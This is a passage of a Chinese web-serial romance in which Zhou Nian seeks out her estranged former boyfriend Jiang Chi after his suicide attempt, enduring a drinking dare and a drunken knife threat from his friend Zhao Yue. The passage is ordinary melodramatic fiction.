她停在徐明面前,待徐明不明所以地抬起头,她才不紧不慢的开口:“徐明,好久不见。” 没 想到昨晚那么一闹,周念竟还有心情来,可想而知,她来的目的是为了谁。 徐明无奈地闭上眼,只觉得脑袋突突地疼,他揉了揉太阳穴说:“周念,你到底想干什么?总不至于是来叙旧的吧。” 不算明亮的氛围灯下,周念的目光坦荡而直白。 “我想见江池。” 徐明骂了声娘,快速给江池发了信息,让他别着急过来。随后手机滑进裤袋,猛地站起,居高临下地睨着她。 “你是不是想逼死他,他情绪刚稳定一点,你就来刺激他。是见不得他好过吗?” 周念抬眸直视他的眼睛,平静地反问道:“我没必要大费周章从北城回到银城,只为了刺激他。你又不是江池,你怎么知道他不想见我?” 徐明差点被气笑,这世上怎么会有脸皮那么厚的人。怒意被一点点激起,他终于忍不住爆发,指着她的鼻子质问。 “你是不是忘了你当初做过什么?要不要我一桩桩一件件翻出来给你对对?你以为你是谁,干了那么多恶心的事情,没事人一样站在这里,还有脸说想见他。” 他视线游移在人群中:“你问问这帮人,谁tm同意你见他?” 不远处的走道上,有一双眼漠然地注视着这边,江池点着烟屈膝依靠在墙上,神色淡漠地目睹着这一切。 周念仍站在原地,平静地直视徐明,试图用沉默逼问出江池下落。徐明捏了捏眉心,心里暗叹:周念这人确实有本事,明明就只是站着,周身却散发出一股咄咄逼人的强势气息。 看架势一两句话还赶不走她,边上几人围拢过来,唾沫星子混着旧账‘讨伐’起她的所作所为。 “周念,我们没动手是顾着体面。当初阿池这样对你,你又是怎么对他的,现在何必猫哭耗子假慈悲说什么要见他呢。” “都几年过去了,你也别太把自己当回事。” 连续不断的讨伐声中突然响起一道异样的声音。 “想见阿池也不是不可以啊,就按照这里的规矩来呗。” 徐明眉头骤拧,猛地转头盯住赵樾。 “阿樾,你安得什么心?存心不想让阿池好过。” 赵樾嬉皮笑脸地拍拍徐明的肩讨好道:“先别生气嘛,她又喝不了,我吓唬吓唬她呢。” 话音未落,只听周念说:“好。要怎么做?” 听到周念的回答,赵樾眉梢一挑来了兴致。 “深水炸弹知道吗?” 周念有点懵,显然对深水炸弹一无所知。 赵樾重复地抛掷着手上的打火机,他慢慢眯着眼,唇角的笑容里透着着一丝狡黠。“想玩吗?” 徐明神色凝重地看向赵樾。 “你疯了吧,要喝死人的。” 赵樾依然咧着嘴角,漫不经心道:“你着什么急?她也没说要玩。” 对于赵樾的挑衅,众人以为周念会临阵脱逃,没想到她脱口而出说:“好。” 赵樾耸耸肩,摊手道:“你们看到了,这是她要玩的,我可没逼她。一会儿真出了事儿得帮我说话。” “但是。” 周念截断他的话。 赵樾玩味儿地笑笑:“怎么说?不敢了?” 周念淡淡地开口:“当着那么多人的面,你不会诈我吧。” “怎么会!我赵樾哪有你周念这点弯弯绕绕损人不利的小心思呢!” 只见赵樾从台面上抽了张酒水单,用笔在上面写下数字。 “阿池手机号,你赢了就归你。” 周念望着那张纸扯了下唇:“好。” 赵樾满意地弯起笑眼,绕去吧台取回一小杯透明液体,另一只手高举一大杯浮着厚沫的冰啤酒。 “一杯底50度伏特加,沉杯后十秒喝完——中途吐了、倒了、喊停了,都算你输。” “你要喝死她?” 徐明劈手去夺酒杯,赵樾往后一退,侧身躲开。 “阿明,你别忘你自己站谁那头。” 他用手挡开徐明,站在周念面前。 “那行,我不为难你,二十秒,喝完酒算你赢。” 周念接过那杯啤酒,定神注视赵樾:“行。” 人群嗡地围拢过来起哄。 “她肯定不行。” “快拍,一会儿吐了可就精彩了。” “搁读书那会儿,谁能想到周念还能跟我们玩这个?” 小杯伏特加悬在周念手里的啤酒之上,赵樾歪头道。 “那开始了。” “好。” 他将白酒杯“咚”地沉入啤酒泡沫中。 酒液入喉的瞬间,灼烧感从舌根炸开。到底没经验,周念剧烈咳嗽两声后,继续猛灌,即使呛出眼泪还是死咬杯沿。 “十四、十三” 人群中爆发出喝彩声。 空杯重重砸向桌面,周念耳后到脖颈倏地涨成血红,喉口的灼烧感不断翻涌而上。实在没忍住,只见她捂着嘴踉跄冲出人群。 徐明不爽地指着赵樾鼻子低骂:“真有你的。” 说完,寻着周念的方向冲出了门。 找到周念时,她正扶着路灯痉挛般犯恶心,刚吐的酒水积出一滩水洼。徐明走过去,想帮她顺顺背,又觉得两人关系并不合适,只好在她边上看着。 他坐在马路牙子上,点了根烟,悠悠开口道。 “没必要,少在这里装可怜。” 周念从包里翻出纸巾,擦了擦嘴后,跨步走到徐明身边同他一起坐下,然后双臂抱膝将脑袋埋在深处。 半晌,听到她的话。 “我这样看起来很可怜吗?” 徐明懒得理她,自顾自抽烟,在很长一段时间里,周念都只是埋着头一声不吭。徐明紧张地轻拍她的肩膀:“喂,你没事儿吧?” 她突然抬起头,红着眼框冲他笑笑:“所以我这副可怜样江池也能看到吧。” 第50章 第50章——我是周念,我想见你…… 徐明到底是心软了,没让周念一个人在外头吃风。他给叶琳打电话让她接人回家。目送车灯小如红点,最后汇入车流,才转身回酒吧。没走两步,突然停下,愤愤地踹了脚路边的小石子。 “谁玩得过她啊。” 周念枕在副驾驶的玻璃窗上,听叶琳絮絮叨叨。 “深水炸弹!这像是你周念会干的事吗?赵樾这人你又不是不知道,前脚答应后脚就不认账,万一他随便编个假号码糊弄你怎么办?” 周念头疼欲裂,仿佛有数百只虫蚁在啃噬神经。她强提了口气,窗外行道树缀满霓虹彩灯,在虚焦的视线中晕成团团锦簇花火。 她用手指在起雾的车窗上画圈,声音轻得像自言自语。 “昨晚我看到江池了。” 车子在过弯,叶琳目视前方,余光却瞥向周念。 “他现在怎么样?” 周念回忆起他的模样:“瘦了好多,整个人像被抽了魂似的。” “所以你是在心疼他吗?” 叶琳握着方向盘打转,若有所思地摇摇头。 “我真看不懂你,当初他对你好,你说你俩没可能。现在他这幅模样,你反而要去找他。你到底是同情他还是喜欢他啊?” 周念望向前方交织的灯火,忽地扯唇。 “我哪儿有那么多同情心。” 她从包里掏出赵樾给的手机号码,将上面的数字存入通讯录,随后发去短信。 ——我是周念,我想见你。 手机震动时,江池正坐在沙发上,一脸漠然地注视着赵樾手机里的视频。屏幕画面定格在周念那张波澜不惊的脸上,刚刚远远地看过,再次拉近发现她还是和从前一样,平静的脸上总透一股不易察觉的执拗。 赵樾美滋滋地欣赏着周念拼酒时的狼狈样,她表情越狰狞,他笑得越痛快。 “好笑吧,以后她要再敢来,拿点什么整整她呢?” 他思考着观察江池的反应,笑到一半突然噤声,江池静如死水的眼底分明浮现一丝浅浅的警告意味。 “什么意思?”他觉得荒谬:“你难道忘了,她才是我们共同的仇人?” 江池拨开面前的手机,冷冷地警告:“我的事,轮不到你插手。” 赵樾略无措地舔了舔嘴唇,哼笑道:“你不会告诉我,你心疼了吧?” “你别忘了。”他凑到江池耳边不紧不慢地说:“她对你做过什么?” 看着江池拳头无意识地攥紧,赵樾才满意地拍拍他的肩。 “我要是你,杀了她的心都有了。” “干嘛呢?” 徐明从外头进来,觑准两人中间的空隙,一屁股坐下来。 赵樾若无其事地耸耸肩起身:“没什么,给阿池提个醒。” 甩下这句话就往外走。 徐明注意到江池紧绷的脸颊,心头突地一跳,猛然站立。 “操,这孙子又来刺激你了?” 他正要找赵樾理论,手腕被江池钳住。 “不用理他。” 徐明知道赵樾不是省油的灯,特别是近几年,表面跟大家称兄道弟,背地里却时不时挤兑江池。好在江池懒得计较,才没走到撕破脸的地步。 徐明冲他离开的背影翻了个白眼。 “赵樾这人混,以后少走动。” 当晚,徐明赖在江池家不走了,硬是跟江池挤一张床。半夜起夜时发现江池人不在床上,徐明慌乱地套上裤子去找,大门一开,居然有人坐在楼道口抽烟。 昏黑的世界只有一个明灭的猩红火点。 徐明借着手机微光冲黑暗中喊了声:“阿池?” 良久,红点才慢慢游移:“嗯。” 确认那人就是江池,徐明干脆打开手机自带手电筒。光源点亮四周的同时也把江池面前的一地烟蒂悉数照亮。 “你到底抽了多少?” “没多少。”江池冲他摆摆手:“你先去睡。” “那你呢?” “快了。” 等徐明进屋,江池再一次把手机打开,屏幕停留那一条短信上。 ——我是周念,我想见你。 ** 早听闻江池搬家离开了原先的别墅,周念不死心,还是去附近转了一圈。隔着铁栅栏,她看到院内肆意疯长的野草和几乎被埋没的小径。 此时,脑中蓦地浮现起关于这里的点点滴滴。 玻璃缸里孤独的游鱼,沙发一角慵懒的猫,和那晚落寞消沉困在烟雾中的剪影。 她打开手机,昨晚的短信没有回复。 也对,不回才是意料之中。 周念原地站了会儿,不死心地找附近的人询问江池下落,可没人知道江池后来搬去了哪里。 第二日一早,周念正式加入科研组,由于资历是几个人中最低,整个上午她都侯在一旁等待使唤。饭点,陈丽邀请她一起吃饭,被她婉拒了,她要趁午休的空档去诊室找周宏珊。 “小念?” 周念推开诊室门时,周宏珊正吃着盒饭刷着短剧傻乐,见到周念的一刹,瞳孔一缩,整个人兴奋地站了起来。 “你什么时候回来的?怎么一点消息都没有。” “这两天才到的,看您忙就没跟你说。” 周念还没走到她跟前,周宏珊就上前一步,激动地搂了搂她的脖子,松手后又将她前前后后仔细打量。 “给姑姑看看,瘦没瘦。” 周念没时间叙旧,开门见山道:“小姑,我想拜托您帮我查个人。” “我?你姑姑是做医生的,不是做警察的” 周宏珊疑惑。 “你要查谁?” “我想知道银城医疗平台的数据互通吗?其他医院的患者,您这边能查到吗?” “查人的话,我没这个权限。” 周宏珊面露为难,但看周念着急便说:“不过我可以找人问问。” 一听有戏,周念才拖着椅子坐下来。 “我想查银城近半年内,自杀被救回来的人中,是不是有一个叫江池的。” 周宏珊愣怔一瞬,想起什么,神色从疑惑转变成忧虑。 “是上次跟你一起挂点滴的男生吧。” 周念意外道:“你知道?” 她跌回座位:“嗐!你妈跟我说过你跟他的事了。” 周念不想过问张宁到底是怎么跟周宏珊聊及江池的,总之也不可能是什么好话。 她问:“你知道他当时的情况吗?” “那天我在单位值班,刚好目睹他被送进医院的过程,虽然他满脸血污昏迷不醒,但我怎么看他怎么眼熟,后来一想,这不就是你那个小男朋友吗。” 至今想起,周宏珊仍忍不住唏嘘。 “原本多好的一个人啊,送来的时候浑身是血,衣服裤子甚至连急救床的被子都浸透了。我第一反应就是完了,肯定没戏了。” 说到一半,转而庆幸道。 “好在他血型常见,血库调了足够的血,抢救了十几个小时才从鬼门关拉回来。” 周宏珊张了张口,还想就此话题说些什么,就看到周念那双红透的眼睛,于是那些关于江池当日的诸多细节就哽在喉口了。 “小姑。” “嗯?” “您能帮我查到他自杀时的住址吗?” 周念按周宏珊给的地址找到了江池的住处。 那一片都是五层高的小楼,楼与楼间是狭长的过道,过道里堆满报废电器和破烂纸箱。江池住的那幢在这一片楼的中心,斑驳的外墙上裸露出几块红色砖头。 周念走到单元门前,铁门歪斜地虚掩着,推门时门轴发出锈蚀的呻吟声。明明只一门之隔,门外天光大亮,门内却昏暗可怖。她拾阶而上,楼层间的玻璃窗早已覆满经年积灰,几束日光挣扎着挤穿玻璃跌落在地。 周念停在三楼门口,咬着唇原地匀了口气,随即敲响铁门。 周遭寂静无声。 又等了会儿,挤进玻璃窗的光束褪成灰白,里面依旧没动静。周念看了眼手机,下午四点半,再过一会儿银城就要入夜了。 江池回到小区时,天色正由白转蓝,天际仍残存一丝橙光。他双手插在衣服口袋,微佝偻着背,如同行尸走肉般踏上台阶,走到二楼拐角时忽然定住。 周念蜷坐在他家门口的台阶上,双手环膝将脑袋埋在臂膀里,纹丝不动的蜷缩着,看着像睡着了。 视线短暂停留后,江池转身下楼。他去便利店买了几罐啤酒和两包烟,路过货架顺手拿了个面包。 结账时,徐明给他打电话。 “阿池,老街新开了一家烧烤店,现在过来。” 江池始终没开口,付完钱,在便利店门口点了根烟。 徐明:“阿池?听得见吗?” 江池吐着烟‘嗯’了声。 徐明有点不耐烦:“一句话,去不去?” 江池偏头望向那栋楼,沉默半晌后说:“去。” 老街街道狭窄,只够一辆车穿行,会车时得有人主动避让才能通行。十分钟的路程,江池硬是开了大半个小时。到达地点,他没下车,下意识地取出手机,瞥了眼空空如也的屏幕,良久,莫名的闷笑出声。 徐明在远处冲他招手。 江池熄了火,把手机扔在副驾驶座位,拔下钥匙甩上车门,逆着人流向前走,走到一半忽然驻足,仰头望向天空,昏黄路灯衬得天空尤为幽蓝。 银城的天彻底黑了。 江池无意识地紧了紧拳头,倏然转过身往回走。 徐明眼睁睁看着他回到车上发动车子,匪夷所思嘀咕道:“干嘛去啊?”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章你难过,我又好得到哪里…… 昨夜的酒让周念头疼了一晚,今天又赶早去医院报到,一天下来,她几乎精疲力竭。本打算在楼道坐等一会儿,没想到刚坐下就迷迷糊糊睡着了。 蜷缩着睡了一个多小时,醒来双腿发麻几乎失去知觉。周遭昏黑无光,周念恍惚一瞬,才缓缓记起这是哪里。她用手揉捏双腿,揉了半天才慢慢恢复知觉。 ——江池真的住在这里吗? 她皱眉看向黑漆漆的楼道,没由来地叹了口气。 刚才手机震动过,周念睡得死没注意,是郑渊发来的一组图片。 ——这是今天的数据, 明天你再做一组,过程把控要严谨,结果要确保万无一失,不能有任何差错。 不知是文字过于规矩死板,还是生活中的郑渊思维过于跳脱,周念无法想象这段严谨的话语竟出自郑渊之口。 她回复说‘好’。 她想就明天的实验征询郑渊意见时,楼道里突然响起脚步声,步子很轻,拾级而上的速度正在减慢。 不知为何,直觉告诉她,来人就是江池。周念触电般起身,摸黑下楼,她刚有动静,楼下的脚步倏地消失。 相遇的瞬间,两道剪影,一上一下,猝然停顿。 暗中,两人沉默着望向彼此。 江池,是你吗? 黑暗的世界里,声音被无限放大,她惊讶于即使他什么都不说,仅仅只是呼吸,自己都能认出他来。 江池依然沉默,半晌,迈着步子一路向上,两人即将正面相遇时,周念闻到了久违的独属于他的气息。他顿了顿,往右跨步,绕开周念与她擦身而过,最终停在三楼门口,掏出钥匙,摸黑开门又关门,期间,不曾回头多看她一眼。 看着重归死寂的楼道,周念竟突然扬起唇角——终于找到你了。 江池如木偶般背靠铁门发呆,装烟酒的塑料袋簌簌滑落。 沉默数秒,他摸黑走到窗前,看向地面。不多时,视野中闯入了周念的身影,她走得不徐不疾,走至拐角时顿了顿,猝然回眸,看向这头。 可惜,她什么都看不到。 直到她消失在拐角,江池才走去开灯,亮灯的一瞬,手机震动。 ——我明天还会来。 ** 第二日中午。 江池是被徐明的电话震醒的,防止他一个人在家想不开做傻事,每天中午十二点,徐明和宋佳月都会轮流炮轰江池,直至他给出回应才肯罢休。 江池洗漱完,路过门口时莫名停下,他瞥了眼门缝,回房间穿好衣服带上手机出门。门一开,目光下意识地落向昨晚周念蜷坐的台阶上,他不动声色地扫了眼,继续下楼。 在便利店漫无目的地绕了两圈,实在不知道买点什么,只从冰柜里取了两瓶水买单结账。结完账,无处可去,在便利店门口看了眼手机就折返回家了。 江池第二次出门是傍晚五点钟,此时,太阳落山,夜幕未至,楼道还不算太黑。他照旧套上羽绒衣揣着手机就出门了,开门时,视线不经意扫过那级台阶,台阶上没人。 这次买的是烟,其实昨晚的还没抽完,他站在柜台前挑了包不常抽的牌子。便利店老板对他有印象,笑问他‘今天怎么换口味了’。江池垂眸付钱不予理会。待他离开便利店,老板才敛起笑意哼声说‘每天挂着个脸,不知道在拽什么劲儿’。 江池坐在便利店的长椅上抽了两根烟,天空拉下墨色帷幕,他碾碎烟蒂凌空抛向垃圾桶,又迈着步子上楼了。 那级台阶上,照旧是空的。 周念差点忘了,今天是项目组第一次聚餐,院领导和带队导师都会参加。这顿饭从傍晚六点吃到了晚上九点,周念低头看了几次手机,边上一个大腹便便的秃头领导留意到周念的举动,笑着问:“小姑娘,着急走啊?” 周念回之微笑:“是啊,我得走了。” 桌上人刚刚还在三三两两相互恭维,看到这小姑娘说话那么直,怕是要得罪领导,一个个都看热闹不嫌事儿大地往这头瞟。 这一说,秃头领导反而被动了,只见他干笑两声继续追问:“什么事情?那么重要。” “是实验室里还有些尾没收,我去收尾是最合适不过的。” “哦。”秃头领导拖着长音,挥挥手道:“去吧去吧,实验要紧。” 周念在出租车上眯了会儿,到江池家楼下时快十点钟。她站在单元楼门口,从外向里看,楼道口仿如一个深不见底的黑洞。她走至第一级台阶,用力的踏出声音,抬头张望,直至回音消失,都没有亮灯。 她心想,只能摸黑上楼了。 周念扶着楼梯走到二三楼的拐角时,江池的门开了,光亮从门缝透出,继而照亮整个楼道。 刹时,两道目光毫无征兆地撞进彼此眼底。 仅仅一瞬,江池眼尾轻轻扫过,视线随着身体的转向而游移到别处。只见他领着一个黑色塑料袋,反手将门带上。周围世界重归黑暗,他的身体又变成一道剪影。 他往下走与昨天一样绕开周念与她擦肩,路过的一瞬间,周念伸出手,抓住他的垂落的手腕。 “江池,我来看你了。” 江池没有回头,继续往下走,手腕轻轻一拽,甩开周念的钳制。周念原地提了口气,慢慢跟在他身后。 只见他走出单元门,走到公共垃圾桶旁将手里的塑料袋往里一扔,回身时从裤袋里摸了包烟,站在附近点了起来。 周念站在单元楼门口,目光直白地看向他,直到他再也受不了,目光一沉,将手里的烟蒂往下一扔,大步走向周念抓起她的手腕就往楼道里拽。 周念还未反应过来,只觉得手被拽的生疼,等她缓过神人已经被江池死死抵在一楼墙面。 他狠狠从牙缝中挤出字:“想看什么?” 周念看着欺压而来的黑影,耳边是他粗重的喘息,整个人恍若蛰伏在黑暗中的野兽,仿佛下一秒就会扑上来啃噬自己的骨髓。 江池双手抵住她的肩,刻意压制气息。 “看我是不是真的被你毁了?看我还能熬几天?看我过得到底多凄惨?还是来欣赏你一手策划的人生?” “看到了吗?满意了吗?” “嗯?” 暗中,无人回应,只有两道克制的气息交缠其中。他看不清她脸上表情,却看得到微弱光线映照出的泪痕。一颗眼泪从眼角滑落,砸向他的手背,江池触电般收回手。 周念挺身,往前一步,仰头看着近在咫尺的黑影。 “所以你是这样想我的?” 带着嗤笑地鼻息喷在她的前额。 “难道不是吗?” 他笑,她也跟着笑。 “是,感情上的事我统统承认,接近你也好,欺骗你也好,为的就是让你爱上我。” “但是这种伤敌一千自损八百的伎俩真是太幼稚了。” “你难过,我又何尝好过?” 话音一落,江池几乎带着颤音呼吸,他连忙从口袋里摸出烟盒,颤抖着手去拿烟。 火苗一窜,两个泪人无处遁形。 他点了根烟,深深吸气,缓缓吐出,逐渐让自己平静下来。 “你走吧,别来找我了。” 周念看着游移的红点,静静地说:“我明天还会来。” 江池低骂一声,低吼:“我让你别来找我,听不懂吗?” 周念仍站在原地,不声不响也不离开。 江池吐了口烟,忍无可忍,又拽着她的手腕走出单元楼,一路往前走,将她拽到马路上。 “别在我眼前晃来晃去,滚!” 说完,头也不回地走了。 周念不着神色地看着他走远上楼,看着那间屋子亮灯。 她长长地舒了口气,给徐明打了电话,意料之中,被挂了。 只得给他短信。 ——你在哪儿,能去江池家里看看吗? 徐明收到短信后火烧火燎地赶到江池家中,一边把周念全家都问候个遍一边摸出钥匙开门。 浓重的烟味扑鼻而来。 屋内没开灯,死寂一片,透过路灯,隐约能看到几缕游丝般的烟雾在空中飘渺。 江池正默不作声地靠在沙发上抽烟。 徐明双肩一耷,松了口气:卧/槽,还好,还活着。 他一时忘了开灯,干脆挨着江池一屁股陷进沙发里。 “吓死我了!” 江池吐了口烟,偏头看他,似乎再问,怎么了? 想到周念给他发的短信,基本可以断定两个人私下见过,徐明就不再避讳提及她的名字。 “周念给我发短信,让我来看着你。” 他摸黑着找茶几上的遥控器。 “她找过你?” 江池没说话,默认了。 “她找你干嘛?” “我觉得吧。” 徐明叹了口气,分析说:“羞辱你?不至于。那天她在酒吧,赵樾这样挑衅她,她都能忍受。不至于为了看你笑话作贱自己。” 他自说自话道:“总不会是为了跟你和好吧。” 他若有所思地摇摇头:“应 该也不会,高中那会儿,你对她那么好,也看不出她喜欢你。” “对了!” 徐明语气肯定。 “肯定是听说你的事情,她良心发现,想到当初自己所作所为确实对不住你。同情心一泛滥,就想着来拯救你了。” 第52章 第52章唯独不是我周念 徐明带着一群人不请自来,说是大家好久没在一起吃火锅了,人多热闹也好打发时间,实则是多找几个人看着江池。这个消息不知怎么传到赵樾耳朵里,他竟带着姜小小和朋友一同来了。 来者是客,徐明没理由将人拒之门外。 其他人都在厨房客厅张罗着火锅食材,宋佳月则负责把江池从房间拽出来。她进门时,看到江池一个人默不作声地坐在床头抽烟。宋佳月径直走到窗边,窗门大开,寒风飕飕地往里窜,在房间里横冲直撞。 打开窗,她又折回床头抽掉江池指尖的烟,扔地上碾灭。 “你这两天抽了多少烟了?” 江池掀起眼皮看她一眼,没吭声。 宋佳月把烟蒂捡起来扔垃圾桶,顺带把茶几上的烟灰缸倒了,她一边收拾一边说。 “周念来找你了?” 江池置若罔闻,起身向浴室走去,刚到门口就见宋佳月张开双手呈‘大’字拦在他面前。 “你是不是心里还有她?” 江池垂眼看她,见她绷个小脸,柳眉倒立,轻叹了口气。 “管好你自己,省得你男朋友来我面前发疯。” 宋佳月:“” 宋佳月自觉理亏,双手一垂,让出路来。 没一会儿,只听她悠悠地说:“阿池,我只是想告诉你,你在一个人身上吃过一次亏,就不要在同一个身上吃第二次了。我不清楚她来找你的目的是什么,我只知道她能伤你一次,就有办法伤你无数次。” 江池站在水池前,回头看她。 宋佳月被看得发怵:“干嘛?我说错了。” 江池不耐烦地轻声赶她:“出去。” 宋佳月嘟起嘴:“我不出去。” 江池:“我脱裤子了,你要看?” 宋佳月:“有病。” 江池掬捧水洗脸,洗完,双手撑着台面缓缓看向镜子。瞳孔虚焦的一瞬,镜面上竟浮现出周念那张脸,昨晚,是他第一次看到周念哭,那颗晶莹的眼泪就直直落下,耳边仿佛还有她的声音。 你难过,我又何尝好过? 这时,门外有动静,他快速洗了个脸,将一些不切实际的想法斩断,走出浴室。 此时,一个身着包臀针织裙的女人正背对着他站在卧室里,她左顾右盼似乎在打量周围的一切,听到浴室门响动倏然转身。她见到江池的第一眼是习惯性的打量,目光快速地将他的人扫了一遍,最后停留在他脸上。 她讪讪道:“我找卫生间。” 江池微蹙起眉,偏头示意:“外面。” 女人没离开,含笑着走近,声音又软又黏:“你是江池吧,叫我露露就行。我可以用你的卫生间吗?外面的太多人用,我嫌脏。” 江池不置可否,正要跨步离开,露露突然双腿一弯,软向江池。江池蓦地皱眉,侧身避开她倒来的势头,擒住手腕借力一甩,将人掼在床垫上。 露露被暴力一扔,不但不恼反而心跳加速,她在床上缓缓转过身,直勾勾地盯着江池的脸,随即下移至**。然后拍拍被褥说:“你说这时候进来个人会怎么想?” 江池懒得跟她纠缠,说了个‘滚’就自顾离开房间。 八九个人硬生生挤在这六十平里,打牌的打牌,聊天的聊天。露露是赵樾带来的,听说是自己非要来,其中缘由大家猜猜也能猜出个一二。江池这人招桃花,走哪儿招哪儿,大家背后常常开玩笑,就这副皮囊玩得开点,儿女都成群了。 火锅开始沸腾,窗外是幽幽的蓝调,徐明招呼江池入座吃火锅,江池犹豫了秒,拿着垃圾袋准备下楼。 徐明看不懂他:“你什么意思啊,怎么突然去倒垃圾了?” “买烟。” 他打开门,习惯性地扫过台阶,没人。 江池又买了没尝试过的烟,没急着抽,而是在便利店门口干坐着,不知道在等什么。天色逐渐暗下来,他低头看了眼手机,点开周念昨晚的短信。 ——明天我还会来。 又等了会儿,徐明开始打电话催他,他敷衍两句后回家。从二楼拐角转向三楼时,他又下意识地看向那级台阶,照旧空空如也。 回到桌上,徐明问他是不是发神经,都吃饭了非要跑出去买烟,江池竟觉得他说得没错,笑了声说:“我是在发神经。” 他承认,徐明反而不好说他。 江池没怎么动筷子,偶尔拿起啤酒抿一口,偶尔心不在焉地看一眼窗外。露露坐在他对面,时不时神色暧昧地看他一眼。这心思,明眼人都看得出来,桌上有人默契地对了眼,心照不宣地笑笑。 露露是赵樾在酒吧认识的,心思野,玩得花。一般这种人徐明是看不上眼的。但转念一想要是有人能替他看着江池也不错。 毕竟人一旦想恋爱,就不至于想死。 所以对于露露的眼神挑逗,徐明也只当视而不见。 江池没动几筷,就感觉有东西在自己小腿上游戈,他搁下筷子,喝了口酒对此置之不理,谁曾想,对方不但没收敛,反而隐隐往上。 江池几不可查地勾了勾唇,起身离开桌子,独自一人回了房间。看他回了房间,露露也借口离席,跟了进去。 天已经完全黑了,江池的房间没开灯,只有外头散进的路灯能将屋子隐约照亮。露露一进门,还没开始张望,手腕忽然被人反手钳住。 她娇嗔着道:“你干嘛呀,弄痛人家了。” 江池不知何时点了烟衔在唇间,他不说话安静地看着露露挣扎。 进来前,露露还以为这招见效了,江池把持不住暗示她进门,直到前一秒还天真的以为,钳制她是因为他做这种事就喜欢简单粗暴,所以自己才会撒娇求饶。 可此刻面前这双阴沉甚至带着点阴鸷的眼睛,分明是在警告她。 但她见惯了各式各样的男人,她认为只要是生理正常的男人定然会上钩。于是她笑了笑,故意贴近江池的胸膛,另一只手试图去摸索什么。 还没往下摸,那只手也被擒住。 直到江池单手将她双手按在墙上,她才意识过来,面前这人是成心让她难堪,露露恼羞成怒:“你不是男人!” 江池嗤笑了声:“你说的没错。” 露露尝试着伸腿踢他,可惜他手长脚长,根本踢不到。 “你放开我!” 江池漫不经心地对着她吹了口烟。 “是我刚才说得不够清楚吗?滚字不认识?还是听不懂?” “呵。”露露也不示弱,哼笑说:“外面那么多人看着,有本事你让我滚啊,让大家看看你是不是男人。” 江池突然笑了声:“这可是你说的。给你台阶,你不要。” 说完,单手握住她两只手腕往外拖,桌上人眼看这架势,想过来劝,但看江池脸色不对就没人阻止。 江池将人粗暴往外拖,拖到门口,开门的一瞬,对上了周念错愕的双眼。 江池身形一顿,手上的力道不自觉轻了几分,眼神中闪过一丝慌乱,随后不动声色地移开眼,将露露往外一推,随即重重甩上门。 露露哪受过这种对待,穿着高跟鞋一脚踹在铁门上。 “妈的,江池,你tm不举!” “你不是男人!” 骂了几声,里面终于开门,是赵樾开的门,本着人是他带来的,闹僵了不好收场才想开门 劝她回去。谁知,周念竟然也在门口。 赵樾酒劲儿上来,冲着江池大喊。 “阿池,看看谁来了?” 除了江池,所有人都看向门口,面对众人好奇中滋生出的嫌恶目光,周念倒是镇定,一句话没说,自顾自坐在楼道口拿着笔记本分析数据。 露露睨她一眼,觉得这人莫名其妙,暗自埋冤今天运道不行,遇到个阳/痿男,于是扭头就走了。 “真晦气。” 桌上几人面面相觑,只有姜小小目光凶戾地剜向周念,赵樾自然不会放过这个让她出丑的机会。 他笑着去拉扯周念的衣服:“周老大坐外面干什么啊?来装深情呢?” 周念甩开他的手,将笔记本放进背包,慢条斯理地站起来,平静的目光夹杂了一丝鄙夷,似笑非笑道。 “还轮不到你来羞辱我。” 周念的话直接将赵樾点着,他大笑两声骤然拉下脸。 “周念!我给你脸了是不是?” 周念抿唇笑了笑,淡淡地开口道。 “你这人怎么过河拆桥啊,你难道忘了,当初为了让我爸给你安排个学校,你差点跪下来求我吗?” 她上前一步,继续挑衅道。 “你还记得怎么求我的吗?要我给大家复述一遍吗?” “你住嘴!” 赵樾恼羞成怒,喘着粗气四下张望,所有人看着他怒气冲冲地闯入厨房。当大家意识到不对时,已经晚了,赵樾拿着一把水果刀咬牙切齿地从厨房走出来。 桌上的人纷纷坐不住,上前来劝。 “阿樾,阿樾,冷静点。” “别冲动啊,阿樾,要坐牢的。” 此时的赵樾几乎疯魔,他对周念的恨已深入骨髓,加上酒精的催眠,完全听不进任何劝诫。他快速地跑到周念面前,将手里的刀往上一扬。 周念一怔,眼看着刀尖就要落下,她猛地闭上双眼。 一秒,两秒。 她慢慢睁眼,扬起的刀没有落下,江池挡在她面前,用力地钳制住赵樾的手腕。 赵樾:“江池!你放手!” 江池咬着牙夺过刀,单脚一踹将他踹倒在地,看着赵樾在地上挣扎两下一时起不来。他才得空转过头看周念蹙着眉头责怪。 “脚长身上不会跑吗?” 周念抿着唇,冲他微微一笑:“不是有你吗?” 江池一怔,又恢复到昨晚看她的眼神。 “走吧,我不想见你。” “江池!” 赵樾躺在地上大喊:“你是不是忘了,谁害死的你妈?要不是因为她,你妈不会死。你要真跟她搞在一起,你还有脸见人吗?” 闻言,江池的拳头慢慢攥紧,身体不受控地发抖发颤。周念绕到他面前,可他却垂眸看地,不再看她。 “快走,别再来了。” 周念站在他面前,仰头看着那张脸。 “你也这样想?认为是我害了你妈?” 江池红着眼缓缓看向她:“你觉得呢?” 周念深深提了口气,声线陡然拔升。 “江池,你搞清楚,杀死她的是你父亲的贪婪!” “是周宏伟的软弱!” “是你江池的自以为是!” “是那辆飞驰而来的货车!” “唯独不是我周念!” 第53章 第53章我不需要你可怜我 城北新开一家融合菜馆,叶琳对宣传册上的美食颇有兴趣,约了方妙和周念一同品尝。中午时分,三个人前后脚到达餐厅。 还未落座就听叶琳在抱怨:“中午来多没情趣,这种漂亮饭当然要在晚上吃。” 作为被抱怨的对象,周念反驳的有理有据:“我晚上没时间,让你们两个单独约,你又不愿意。” 叶琳:“你晚上要去哪儿?” 周念敛了敛鬓发说:“实验室挺忙的。” 方妙拉着两人落座,从中调和道:“好啦,白天晚上不都一样嘛,来都来了,还闹别扭呢。” 叶琳把菜单上花里胡哨的菜都点了一遍,问及方妙婚礼的安排,方妙滔滔不绝,把所有事情罗列一遍,听得对面两人连连皱眉。 叶琳惊叹:“好麻烦哦。” “是啊。”方妙转而问起她的近况:“你跟那个体制男怎么认识的。” “什么体制男,有你这么取绰号的吗?” 虽然叶琳对这个称呼有所不满,还是一五一十地回答了她的问题。 “说来也挺巧,下雨天给我妈送伞,半路看到有个男人冒雨在走。我就鬼使神差地瞥了眼,好家伙,长得不错。一时心软就把伞给了他,一来二去就认识了,聊着聊着就好上了。” “一时心软?”周念抓住重点词,笑着揶揄:“是见色起意。” 叶琳耸耸肩大方承认:“各取所需嘛。” 既然两个人都分享了感情问题,自然绕不开周念,方妙视线游移到周念脸上:“小念,你喜欢男人吗?” 周念:“” 